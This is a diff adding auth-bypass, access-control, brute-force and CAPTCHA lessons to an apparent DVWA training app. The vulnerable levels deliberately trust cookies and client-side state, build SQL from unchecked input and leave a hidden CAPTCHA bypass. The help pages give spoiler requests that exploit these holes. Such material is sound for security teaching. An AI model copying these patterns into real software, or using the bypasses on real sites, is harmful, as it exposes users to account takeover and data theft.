a/examples/dvwa/vulnerabilities/authbypass/help/help.php b/examples/dvwa/vulnerabilities/authbypass/help/help.php new file mode 100644 index 0000000..61a6411 --- /dev/null +++ b/examples/dvwa/vulnerabilities/authbypass/help/help.php @@ -0,0 +1,82 @@ +
+ About++ When developers have to build authorisation matrices into complex systems it is easy for them to miss adding the right checks in every place, especially those + which are not directly accessible through a browser, for example API calls. + + ++ As a tester, you need to be looking at every call a system makes and then testing it using every level of user to ensure that the checks are being carried out correctly. + This can often be a long and boring task, especially with a large matrix with lots of different user types, but it is critical that the testing is carried out as one missed + check could lead to an attacker gaining access to confidential data or functions. + + ++ + Objective+Your goal is to test this user management system at all four security levels to identify any areas where authorisation checks have been missed. +The system is only designed to be accessed by the admin user, so have a look at all the calls made while logged in as the admin, and then try to reproduce them while logged in as different user. +If you need a second user, you can use gordonb / abc123.
+
+ + + Low Level+Non-admin users do not have the 'Authorisation Bypass' menu option. +Spoiler: Try browsing directly to /vulnerabilities/authbypass/. + + ++ + Medium Level+The developer has locked down access to the HTML for the page, but have a look how the page is populated when logged in as the admin. +Spoiler: Try browsing directly to /vulnerabilities/authbypass/get_user_data.php to access the API which returns the user data for the page. + ++ + High Level+Both the HTML page and the API to retrieve data have been locked down, but what about updating data? You have to make sure you test every call to the site. +Spoiler: GET calls to retrieve data have been locked down but the POST to update the data has been missed, can you figure out how to call it? + +Spoiler: This is one way to do it: + +fetch('change_user_details.php', {
+method: 'POST',
+headers: {
+'Accept': 'application/json',
+'Content-Type': 'application/json'
+},
+body: JSON.stringify({ 'id':1, "first_name": "Harry", "surname": "Hacker" })
+}
+)
+.then((response) => response.json())
+.then((data) => console.log(data));
+
+
+ + + Impossible Level++ Hopefully on this level all the functions correctly check authorisation before allowing access to the data. + ++ There may however be some non-authorisation related issues on the page, so do not write it off as fully secure. + + |
+
Reference:
+Reference:
+Reference:
+ +This page should only be accessible by the admin user. Your challenge is to gain access to the features using one of the other users, for example gordonb / abc123.
+ ++ Welcome to the user manager, please enjoy updating your user\'s details. +
+ '; + +$page[ 'body' ] .= " + + +| ID | +First Name | +Surname | +Update | + + + +
|---|
|
+
+
+ About+Broken Access Control (BAC) refers to a situation where an application fails to properly + enforce restrictions on what authenticated users are allowed to do. + This vulnerability occurs when a user can access resources or perform actions that should be + restricted to them. + ++ + + Objective+Your goal is to bypass the access controls to view other users' profiles that you should not + have access to. Each security level implements different types of access controls with + varying degrees of effectiveness. + ++ + + Low Level+Hint: The application uses a simple cookie-based verification system. Can you + spot how the access is being checked? + +
+
+
+ Solution+ ++ + + + + Medium Level+Hint: The application uses cookies to determine user roles. What tools in + your browser might help you examine and modify these? + +
+
+
+ Solution+ ++ + + + High Level+Hint: The application uses session-based authentication and cookies to control access. Look carefully at how the session and cookies are validated. + +
+
+
+ Solution+ ++ + + + Impossible Level+This level implements proper access controls with multiple security layers: +
+ + + Security Logs+All access attempts are logged, including the IP address of the request. The application uses + the X-Forwarded-For header when available, + which means the logs can be manipulated by setting this header. + ++ + More Information+ + |
+
| ID | Accessor | Target | IP Address | Timestamp |
|---|---|---|---|---|
| {$log['id']} | "; + $html .= "{$log['accessor_user']} (ID: {$log['user_id']}) | "; + $html .= "{$target_user} | "; + $html .= "{$log['ip_address']} | "; + $html .= "{$log['timestamp']} | "; + $html .= "
No access logs found.
"; +} + +$html .= ""; + +// Load the vulnerability content +$vulnerabilityFile = ''; +$securityLevel = dvwaSecurityLevelGet(); +switch ($securityLevel) { + case 'low': + $vulnerabilityFile = 'low.php'; + break; + case 'medium': + $vulnerabilityFile = 'medium.php'; + break; + case 'high': + $vulnerabilityFile = 'high.php'; + break; + default: + $vulnerabilityFile = 'impossible.php'; + break; +} + +require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/bac/source/{$vulnerabilityFile}"; + +// Add CSS for logs +$page['body'] .= " +"; + +$page['body'] .= " +Invalid user ID format. Please enter a number.
"; + } else { + $id = intval($_GET['user_id']); + + // Check if user exists first using prepared statement + $check_query = "SELECT user_id FROM users WHERE user_id = ? LIMIT 1"; + $check_stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $check_query); + mysqli_stmt_bind_param($check_stmt, "i", $id); + mysqli_stmt_execute($check_stmt); + mysqli_stmt_store_result($check_stmt); + $user_exists = (mysqli_stmt_num_rows($check_stmt) > 0); + mysqli_stmt_close($check_stmt); + + if (!$user_exists) { + $html .= "No user found with ID: {$id}
"; + } else { + // "Secure" session-based check (but vulnerable to session fixation) + if (isset($_SESSION['user_id'])) { + $session_id = intval($_SESSION['user_id']); + + if ($id == $session_id) { + // Access granted - using prepared statement + $query = "SELECT first_name, last_name, user_id, avatar FROM users WHERE user_id = ?"; + $stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query); + mysqli_stmt_bind_param($stmt, "i", $id); + mysqli_stmt_execute($stmt); + $result = mysqli_stmt_get_result($stmt); + + if ($result && mysqli_num_rows($result) > 0) { + $row = mysqli_fetch_assoc($result); + $html .= " +User ID: " . htmlspecialchars($row['user_id'], ENT_QUOTES, 'UTF-8') . "
+Name: " . htmlspecialchars($row['first_name'], ENT_QUOTES, 'UTF-8') . " " . + htmlspecialchars($row['last_name'], ENT_QUOTES, 'UTF-8') . "
+Avatar: " . htmlspecialchars($row['avatar'], ENT_QUOTES, 'UTF-8') . "
+ +Access denied. You can only view your own profile.
"; + } + } else { + $html .= "Access denied. No user_id in session.
"; + } + } + + // Log access attempts with prepared statement + try { + // First check if the bac_log table exists + $check_table = "SHOW TABLES LIKE 'bac_log'"; + $table_exists = mysqli_query($GLOBALS["___mysqli_ston"], $check_table); + + if ($table_exists && mysqli_num_rows($table_exists) == 0) { + // Create the table if it doesn't exist + $create_table = "CREATE TABLE IF NOT EXISTS bac_log ( + id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY, + user_id INT(6) NULL, + target_id INT(6) NULL, + ip_address VARCHAR(50) NULL, + action VARCHAR(50) NULL, + timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP + )"; + mysqli_query($GLOBALS["___mysqli_ston"], $create_table); + } + + // Log the access attempt with prepared statement + $ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; + $target_id = $user_exists ? $id : 0; // Use 0 for non-existent users + + $log_query = "INSERT INTO bac_log (user_id, target_id, ip_address) VALUES (?, ?, ?)"; + $log_stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $log_query); + mysqli_stmt_bind_param($log_stmt, "iis", $current_user_id, $target_id, $ip); + mysqli_stmt_execute($log_stmt); + mysqli_stmt_close($log_stmt); + } catch (Exception $e) { + // Silently fail if logging doesn't work + } + } +} + +// Set initial session if not exists +if (!isset($_SESSION['user_id'])) { + $_SESSION['user_id'] = $current_user_id; +} +?> \ No newline at end of file diff --git a/examples/dvwa/vulnerabilities/bac/source/impossible.php b/examples/dvwa/vulnerabilities/bac/source/impossible.php new file mode 100644 index 0000000..cbd7ade --- /dev/null +++ b/examples/dvwa/vulnerabilities/bac/source/impossible.php @@ -0,0 +1,293 @@ +Invalid user ID format. Please enter a number."; + } else { + $id = intval($_GET['user_id']); + + // 2. Get Current User with Prepared Statement + $query = "SELECT user_id, role FROM users WHERE user = ? LIMIT 1"; + $stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query); + if ($stmt) { + $current_user = dvwaCurrentUser(); + mysqli_stmt_bind_param($stmt, "s", $current_user); + mysqli_stmt_execute($stmt); + $result = mysqli_stmt_get_result($stmt); + + if ($result && mysqli_num_rows($result) > 0) { + $row = mysqli_fetch_assoc($result); + $current_user_id = intval($row['user_id']); + $user_role = $row['role']; + mysqli_stmt_close($stmt); + + // 3. Check if target user exists + $user_exists = false; + $check_query = "SELECT user_id FROM users WHERE user_id = ? LIMIT 1"; + $check_stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $check_query); + if ($check_stmt) { + mysqli_stmt_bind_param($check_stmt, "i", $id); + mysqli_stmt_execute($check_stmt); + mysqli_stmt_store_result($check_stmt); + $user_exists = (mysqli_stmt_num_rows($check_stmt) > 0); + mysqli_stmt_close($check_stmt); + + if (!$user_exists) { + $html .= "No user found with ID: {$id}
"; + // Log the attempt to access non-existent user + logAccessAttempt($current_user_id, $id, 'non_existent_user_access'); + } else if (isRateLimitExceeded($current_user_id)) { + // 4. Rate Limiting Check + $html .= "Too many requests. Please try again later.
"; + } else { + // 5. Access Control Check + $can_access = false; + if ($current_user_id === $id) { + $can_access = true; // Users can always view their own profile + } + // elseif ($user_role === 'admin') { + // $can_access = true; // Admins can view all profiles + // } + + if ($can_access) { + try { + // Secure Data Retrieval + $query = "SELECT first_name, last_name, user_id, avatar + FROM users + WHERE user_id = ? + AND (user_id = ? OR ? = 'admin') + LIMIT 1"; + + $stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query); + + if (!$stmt) { + $html .= "Database error: " . mysqli_error($GLOBALS["___mysqli_ston"]) . "
"; + } else { + $bind_success = mysqli_stmt_bind_param($stmt, "iis", $id, $current_user_id, $user_role); + + if (!$bind_success) { + $html .= "Database error: " . mysqli_stmt_error($stmt) . "
"; + } else { + $execute_success = mysqli_stmt_execute($stmt); + + if (!$execute_success) { + $html .= "Database error: " . mysqli_stmt_error($stmt) . "
"; + } else { + $result = mysqli_stmt_get_result($stmt); + + if (!$result) { + $html .= "Database error: " . mysqli_stmt_error($stmt) . "
"; + } else if (mysqli_num_rows($result) > 0) { + $row = mysqli_fetch_assoc($result); + + // Output Encoding + $html .= " +User ID: " . htmlspecialchars($row['user_id'], ENT_QUOTES, 'UTF-8') . "
+Name: " . htmlspecialchars($row['first_name'], ENT_QUOTES, 'UTF-8') . " " . + htmlspecialchars($row['last_name'], ENT_QUOTES, 'UTF-8') . "
+Avatar: " . htmlspecialchars($row['avatar'], ENT_QUOTES, 'UTF-8') . "
+Access denied. Insufficient privileges.
"; + logSecurityEvent('access_denied', $id, $current_user_id); + } + } + } + mysqli_stmt_close($stmt); + } + } catch (Exception $e) { + $html .= "An error occurred. Please try again later.
"; + logSecurityEvent('system_error', $id, $current_user_id, $e->getMessage()); + } + } else { + $html .= "Access denied. Insufficient privileges.
"; + logSecurityEvent('unauthorized_access', $id, $current_user_id); + + // Security Monitoring + checkForSuspiciousActivity($current_user_id, $id); + } + } + } else { + $html .= "Database error: " . mysqli_error($GLOBALS["___mysqli_ston"]) . "
"; + } + } else { + $html .= "Authentication error.
"; + if (isset($stmt)) { + mysqli_stmt_close($stmt); + } + } + } else { + $html .= "Database error: " . mysqli_error($GLOBALS["___mysqli_ston"]) . "
"; + } + } +} + +// Helper Functions +function isRateLimitExceeded($user_id) +{ + $timeframe = 300; // 5 minutes + $max_attempts = 10; + + // First check if the bac_log table exists + $check_table = "SHOW TABLES LIKE 'bac_log'"; + $table_exists = mysqli_query($GLOBALS["___mysqli_ston"], $check_table); + + if ($table_exists && mysqli_num_rows($table_exists) == 0) { + // Create the table if it doesn't exist + $create_table = "CREATE TABLE IF NOT EXISTS bac_log ( + id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY, + user_id INT(6) NULL, + target_id INT(6) NULL, + ip_address VARCHAR(50) NULL, + action VARCHAR(50) NULL, + timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP + )"; + mysqli_query($GLOBALS["___mysqli_ston"], $create_table); + } + + $query = "SELECT COUNT(*) as attempt_count + FROM bac_log + WHERE user_id = ? + AND timestamp > DATE_SUB(NOW(), INTERVAL ? SECOND)"; + + $stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query); + if ($stmt) { + mysqli_stmt_bind_param($stmt, "ii", $user_id, $timeframe); + mysqli_stmt_execute($stmt); + $result = mysqli_stmt_get_result($stmt); + $row = mysqli_fetch_assoc($result); + mysqli_stmt_close($stmt); + return $row['attempt_count'] >= $max_attempts; + } + return false; // If there was an error, don't rate limit +} + +function logAccessAttempt($user_id, $target_id, $action) +{ + // Ensure target_id is a valid integer + $target_id = intval($target_id); + + // Get IP address + $ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; + + // First check if the bac_log table exists + $check_table = "SHOW TABLES LIKE 'bac_log'"; + $table_exists = mysqli_query($GLOBALS["___mysqli_ston"], $check_table); + + if ($table_exists && mysqli_num_rows($table_exists) == 0) { + // Create the table if it doesn't exist + $create_table = "CREATE TABLE IF NOT EXISTS bac_log ( + id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY, + user_id INT(6), + target_id INT(6), + ip_address VARCHAR(50), + action VARCHAR(50), + timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP + )"; + mysqli_query($GLOBALS["___mysqli_ston"], $create_table); + } + + $query = "INSERT INTO bac_log (user_id, target_id, ip_address, action) + VALUES (?, ?, ?, ?)"; + $stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query); + if ($stmt) { + mysqli_stmt_bind_param($stmt, "iiss", $user_id, $target_id, $ip, $action); + mysqli_stmt_execute($stmt); + mysqli_stmt_close($stmt); + } +} + +function logSecurityEvent($action, $target_id, $user_id, $details = '') +{ + // Ensure target_id is a valid integer + $target_id = intval($target_id); + + // Get IP address + $ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; + + // First check if the bac_log table exists + $check_table = "SHOW TABLES LIKE 'bac_log'"; + $table_exists = mysqli_query($GLOBALS["___mysqli_ston"], $check_table); + + if ($table_exists && mysqli_num_rows($table_exists) == 0) { + // Create the table if it doesn't exist + $create_table = "CREATE TABLE IF NOT EXISTS bac_log ( + id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY, + user_id INT(6), + target_id INT(6), + ip_address VARCHAR(50), + action VARCHAR(50), + details TEXT, + timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP + )"; + mysqli_query($GLOBALS["___mysqli_ston"], $create_table); + } + + // Check if details column exists + $check_column = "SHOW COLUMNS FROM bac_log LIKE 'details'"; + $column_exists = mysqli_query($GLOBALS["___mysqli_ston"], $check_column); + + if ($column_exists && mysqli_num_rows($column_exists) == 0) { + // Add details column if it doesn't exist + $add_column = "ALTER TABLE bac_log ADD COLUMN details TEXT"; + mysqli_query($GLOBALS["___mysqli_ston"], $add_column); + } + + $query = "INSERT INTO bac_log (user_id, target_id, ip_address, action, details) + VALUES (?, ?, ?, ?, ?)"; + $stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query); + if ($stmt) { + mysqli_stmt_bind_param($stmt, "iisss", $user_id, $target_id, $ip, $action, $details); + mysqli_stmt_execute($stmt); + mysqli_stmt_close($stmt); + } +} + +function checkForSuspiciousActivity($user_id, $target_id) +{ + $timeframe = 3600; // 1 hour + $threshold = 5; + + $query = "SELECT COUNT(*) as attempt_count + FROM bac_log + WHERE user_id = ? + AND timestamp > DATE_SUB(NOW(), INTERVAL ? SECOND) + AND action = 'unauthorized_access'"; + + $stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query); + if ($stmt) { + mysqli_stmt_bind_param($stmt, "ii", $user_id, $timeframe); + mysqli_stmt_execute($stmt); + $result = mysqli_stmt_get_result($stmt); + $row = mysqli_fetch_assoc($result); + mysqli_stmt_close($stmt); + + if ($row['attempt_count'] >= $threshold) { + // Log high-severity security event + logSecurityEvent( + 'suspicious_activity', + $target_id, + $user_id, + 'Multiple unauthorized access attempts detected' + ); + } + } +} +?> \ No newline at end of file diff --git a/examples/dvwa/vulnerabilities/bac/source/low.php b/examples/dvwa/vulnerabilities/bac/source/low.php new file mode 100644 index 0000000..e3e1daa --- /dev/null +++ b/examples/dvwa/vulnerabilities/bac/source/low.php @@ -0,0 +1,96 @@ + 0) ? mysqli_fetch_assoc($result) : array('user_id' => 0, 'role' => ''); +$current_user_id = intval($row['user_id']); +$role = $row['role']; + +// Slightly better access control (but still vulnerable) +$html = ""; +if (isset($_GET['action']) && isset($_GET['user_id'])) { + if (!preg_match('/^\d+$/', $_GET['user_id'])) { + $html .= "Invalid user ID format. Please enter a number.
"; + } else { + $id = intval($_GET['user_id']); + + // Check if user exists first + $check_query = "SELECT user_id FROM users WHERE user_id = $id"; + $check_result = mysqli_query($GLOBALS["___mysqli_ston"], $check_query); + $user_exists = ($check_result && mysqli_num_rows($check_result) > 0); + + if (!$user_exists) { + $html .= "No user found with ID: {$id}
"; + } else { + // "Secure" check that's still vulnerable + if (isset($_COOKIE['user_id'])) { + $cookie_id = intval($_COOKIE['user_id']); + + if ($id == $cookie_id) { + // Access granted + $query = "SELECT first_name, last_name, user_id, avatar FROM users WHERE user_id = $id;"; + $result = mysqli_query($GLOBALS["___mysqli_ston"], $query); + + if ($result && mysqli_num_rows($result) > 0) { + $row = mysqli_fetch_assoc($result); + $html .= " +User ID: {$row['user_id']}
+Name: {$row['first_name']} {$row['last_name']}
+Avatar: {$row['avatar']}
+ +Access denied. You can only view your own profile.
"; + } + } else { + $html .= "Access denied. No user_id cookie found.
"; + } + } + + // Log access attempts + try { + // First check if the bac_log table exists + $check_table = "SHOW TABLES LIKE 'bac_log'"; + $table_exists = mysqli_query($GLOBALS["___mysqli_ston"], $check_table); + + if ($table_exists && mysqli_num_rows($table_exists) == 0) { + // Create the table if it doesn't exist + $create_table = "CREATE TABLE IF NOT EXISTS bac_log ( + id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY, + user_id INT(6) NULL, + target_id INT(6) NULL, + ip_address VARCHAR(50) NULL, + action VARCHAR(50) NULL, + timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP + )"; + mysqli_query($GLOBALS["___mysqli_ston"], $create_table); + } + + // Log the access attempt + $ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; + $target_id = $user_exists ? $id : 0; // Use 0 for non-existent users + $log_query = "INSERT INTO bac_log (user_id, target_id, ip_address) VALUES + ({$current_user_id}, {$target_id}, '{$ip}')"; + mysqli_query($GLOBALS["___mysqli_ston"], $log_query); + } catch (Exception $e) { + // Silently fail if logging doesn't work + } + } +} + +// Show current user's role for context +$role = isset($_COOKIE['user_role']) ? $_COOKIE['user_role'] : 'regular_user'; +$html .= ""; + +// Set initial role cookie if not exists +if (!isset($_COOKIE['user_role'])) { + setcookie('user_role', 'regular_user', time() + 3600, '/'); +} +?> diff --git a/examples/dvwa/vulnerabilities/bac/source/medium.php b/examples/dvwa/vulnerabilities/bac/source/medium.php new file mode 100644 index 0000000..523c5e0 --- /dev/null +++ b/examples/dvwa/vulnerabilities/bac/source/medium.php @@ -0,0 +1,79 @@ + 0) ? mysqli_fetch_assoc($result)['user_id'] : 0; + +// Basic attempt at access control (but easily bypassed) +$html = ""; +if (isset($_GET['action']) && isset($_GET['user_id'])) { + if (!preg_match('/^\d+$/', $_GET['user_id'])) { + $html .= "Invalid user ID format. Please enter a number.
"; + } else { + $id = $_GET['user_id']; + $user_exists = false; + + // Check if user exists first + $check_query = "SELECT user_id FROM users WHERE user_id = '$id'"; + $check_result = mysqli_query($GLOBALS["___mysqli_ston"], $check_query); + $user_exists = ($check_result && mysqli_num_rows($check_result) > 0); + + // "Secure" check that's easily bypassed + if (isset($_GET['token']) && $_GET['token'] == 'user_token') { + if ($user_exists) { + $query = "SELECT first_name, last_name, user_id, avatar FROM users WHERE user_id = '$id';"; + $result = mysqli_query($GLOBALS["___mysqli_ston"], $query); + + if ($result && mysqli_num_rows($result) > 0) { + $row = mysqli_fetch_assoc($result); + $html .= " +User ID: {$row['user_id']}
+Name: {$row['first_name']} {$row['last_name']}
+Avatar: {$row['avatar']}
+ +No user found with ID: {$id}
"; + } + } else { + $html .= "Access denied. Valid token required.
"; + } + + // Log access attempts + try { + // First check if the bac_log table exists + $check_table = "SHOW TABLES LIKE 'bac_log'"; + $table_exists = mysqli_query($GLOBALS["___mysqli_ston"], $check_table); + + if ($table_exists && mysqli_num_rows($table_exists) == 0) { + // Create the table if it doesn't exist + $create_table = "CREATE TABLE IF NOT EXISTS bac_log ( + id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY, + user_id INT(6) NULL, + target_id INT(6) NULL, + ip_address VARCHAR(50) NULL, + action VARCHAR(50) NULL, + timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP + )"; + mysqli_query($GLOBALS["___mysqli_ston"], $create_table); + } + + // Log the access attempt - only log numeric target_id + $ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; + $target_id = $user_exists ? $id : 0; // Use 0 for non-existent users + $log_query = "INSERT INTO bac_log (user_id, target_id, ip_address) VALUES + ({$current_user_id}, {$target_id}, '{$ip}')"; + mysqli_query($GLOBALS["___mysqli_ston"], $log_query); + } catch (Exception $e) { + // Silently fail if logging doesn't work + } + } +} +?> \ No newline at end of file diff --git a/examples/dvwa/vulnerabilities/bac/source/view_source.php b/examples/dvwa/vulnerabilities/bac/source/view_source.php new file mode 100644 index 0000000..35bd140 --- /dev/null +++ b/examples/dvwa/vulnerabilities/bac/source/view_source.php @@ -0,0 +1,53 @@ +'), array('<?php', '?>'), $source); + $page[ 'body' ] .= " +
+ About+Password cracking is the process of recovering passwords from data that has been stored in or transmitted by a computer system. + A common approach is to repeatedly try guesses for the password. + +Users often choose weak passwords. Examples of insecure choices include single words found in dictionaries, family names, any too short password + (usually thought to be less than 6 or 7 characters), or predictable patterns + (e.g. alternating vowels and consonants, which is known as leetspeak, so "password" becomes "p@55w0rd"). + +Creating a targeted wordlists, which is generated towards the target, often gives the highest success rate. There are public tools out there that will create a dictionary + based on a combination of company websites, personal social networks and other common information (such as birthdays or year of graduation). + + A last resort is to try every possible password, known as a brute force attack. In theory, if there is no limit to the number of attempts, a brute force attack will always + be successful since the rules for acceptable passwords must be publicly known; but as the length of the password increases, so does the number of possible passwords + making the attack time longer. + ++ + Objective+Your goal is to get the administrator’s password by brute forcing. Bonus points for getting the other four user passwords! + ++ + Low Level+The developer has completely missed out any protections methods, allowing for anyone to try as many times as they wish, to login to any user without any repercussions. + ++ + Medium Level+This stage adds a sleep on the failed login screen. This mean when you login incorrectly, there will be an extra two second wait before the page is visible. + +This will only slow down the amount of requests which can be processed a minute, making it longer to brute force. + ++ + High Level+There has been an "anti Cross-Site Request Forgery (CSRF) token" used. There is a old myth that this protection will stop brute force attacks. This is not the case. + This level also extends on the medium level, by waiting when there is a failed login but this time it is a random amount of time between two and four seconds. + The idea of this is to try and confuse any timing predictions. + +Using a form could have a similar effect as a CSRF token. + ++ + Impossible Level+Brute force (and user enumeration) should not be possible in the impossible level. The developer has added a "lock out" feature, where if there are five bad logins within + the last 15 minutes, the locked out user cannot log in. + +If the locked out user tries to login, even with a valid password, it will say their username or password is incorrect. This will make it impossible to know + if there is a valid account on the system, with that password, and if the account is locked. + +This can cause a "Denial of Service" (DoS), by having someone continually trying to login to someone's account. + This level would need to be extended by blacklisting the attacker (e.g. IP address, country, user-agent). + |
+
Reference:
+Welcome to the password protected area {$user}
"; + $html .= ""; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/examples/dvwa/vulnerabilities/brute/source/impossible.php b/examples/dvwa/vulnerabilities/brute/source/impossible.php new file mode 100644 index 0000000..4cf5925 --- /dev/null +++ b/examples/dvwa/vulnerabilities/brute/source/impossible.php @@ -0,0 +1,102 @@ +prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); + $data->bindParam( ':user', $user, PDO::PARAM_STR ); + $data->execute(); + $row = $data->fetch(); + + // Check to see if the user has been locked out. + if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) { + // User locked out. Note, using this method would allow for user enumeration! + //$html .= "
Username and/or password incorrect.
"; + + // Calculate when the user would be allowed to login again + $last_login = strtotime( $row[ 'last_login' ] ); + $timeout = $last_login + ($lockout_time * 60); + $timenow = time(); + + /* + print "The last login was: " . date ("h:i:s", $last_login) . "
This account has been locked due to too many incorrect logins.
Welcome to the password protected area {$user}
"; + $html .= "Warning: Someone might of been brute forcing your account.
"; + $html .= "Number of login attempts: {$failed_login}.
Last login attempt was at: {$last_login}.
"; + + // Update bad login count + $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); + $data->bindParam( ':user', $user, PDO::PARAM_STR ); + $data->execute(); + } + + // Set the last login time + $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); + $data->bindParam( ':user', $user, PDO::PARAM_STR ); + $data->execute(); +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/examples/dvwa/vulnerabilities/brute/source/low.php b/examples/dvwa/vulnerabilities/brute/source/low.php new file mode 100644 index 0000000..aef430a --- /dev/null +++ b/examples/dvwa/vulnerabilities/brute/source/low.php @@ -0,0 +1,32 @@ +' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + if( $result && mysqli_num_rows( $result ) == 1 ) { + // Get users details + $row = mysqli_fetch_assoc( $result ); + $avatar = $row["avatar"]; + + // Login successful + $html .= "
Username and/or password incorrect.
Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
Welcome to the password protected area {$user}
"; + $html .= ""; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +?> diff --git a/examples/dvwa/vulnerabilities/brute/source/medium.php b/examples/dvwa/vulnerabilities/brute/source/medium.php new file mode 100644 index 0000000..a14b9db --- /dev/null +++ b/examples/dvwa/vulnerabilities/brute/source/medium.php @@ -0,0 +1,35 @@ +' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + if( $result && mysqli_num_rows( $result ) == 1 ) { + // Get users details + $row = mysqli_fetch_assoc( $result ); + $avatar = $row["avatar"]; + + // Login successful + $html .= "
Username and/or password incorrect.
Welcome to the password protected area {$user}
"; + $html .= ""; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +?> diff --git a/examples/dvwa/vulnerabilities/captcha/help/help.php b/examples/dvwa/vulnerabilities/captcha/help/help.php new file mode 100644 index 0000000..f2ce041 --- /dev/null +++ b/examples/dvwa/vulnerabilities/captcha/help/help.php @@ -0,0 +1,62 @@ +
Username and/or password incorrect.
+ About+A is a program that can tell whether its user is a human or a computer. You've probably seen + them - colourful images with distorted text at the bottom of Web registration forms. CAPTCHAs are used by many websites to prevent abuse from + "bots", or automated programs usually written to generate spam. No computer program can read distorted text as well as humans can, so bots + cannot navigate sites protected by CAPTCHAs. + +CAPTCHAs are often used to protect sensitive functionality from automated bots. Such functionality typically includes user registration and changes, + password changes, and posting content. In this example, the CAPTCHA is guarding the change password functionality for the user account. This provides + limited protection from CSRF attacks as well as automated bot guessing. + ++ + Objective+Your aim, change the current user's password in a automated manner because of the poor CAPTCHA system. + ++ + Low Level+The issue with this CAPTCHA is that it is easily bypassed. The developer has made the assumption that all users will progress through screen 1, complete the CAPTCHA, and then + move on to the next screen where the password is actually updated. By submitting the new password directly to the change page, the user may bypass the CAPTCHA system. + +The parameters required to complete this challenge in low security would be similar to the following: +Spoiler: ?step=2&password_new=password&password_conf=password&Change=Change.
+
+ + + Medium Level+The developer has attempted to place state around the session and keep track of whether the user successfully completed the + CAPTCHA prior to submitting data. Because the state variable (Spoiler: passed_captcha) is on the client side, + it can also be manipulated by the attacker like so: +Spoiler: ?step=2&password_new=password&password_conf=password&passed_captcha=true&Change=Change.
+
+ + + High Level+There has been development code left in, which was never removed in production. It is possible to mimic the development values, to allow + invalid values in be placed into the CAPTCHA field. +You will need to spoof your user-agent (Spoiler: reCAPTCHA) as well as use the CAPTCHA value of + (Spoiler: hidd3n_valu3) to skip the check. + ++ + Impossible Level+In the impossible level, the developer has removed all avenues of attack. The process has been simplified so that data and CAPTCHA verification occurs in one + single step. Alternatively, the developer could have moved the state variable server side (from the medium level), so the user cannot alter it. + |
+
Reference:
+Password Changed."; + + } else { + // Ops. Password mismatch + $html .= "
Both passwords must match."; + $hide_form = false; + } + + } else { + // What happens when the CAPTCHA was entered incorrectly + $html .= "
"; + $hide_form = false; + return; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/examples/dvwa/vulnerabilities/captcha/source/impossible.php b/examples/dvwa/vulnerabilities/captcha/source/impossible.php new file mode 100644 index 0000000..5bb475d --- /dev/null +++ b/examples/dvwa/vulnerabilities/captcha/source/impossible.php @@ -0,0 +1,67 @@ +
The CAPTCHA was incorrect. Please try again.
Password Changed."; + } + else { + // Feedback for the end user - failed! + $html .= "
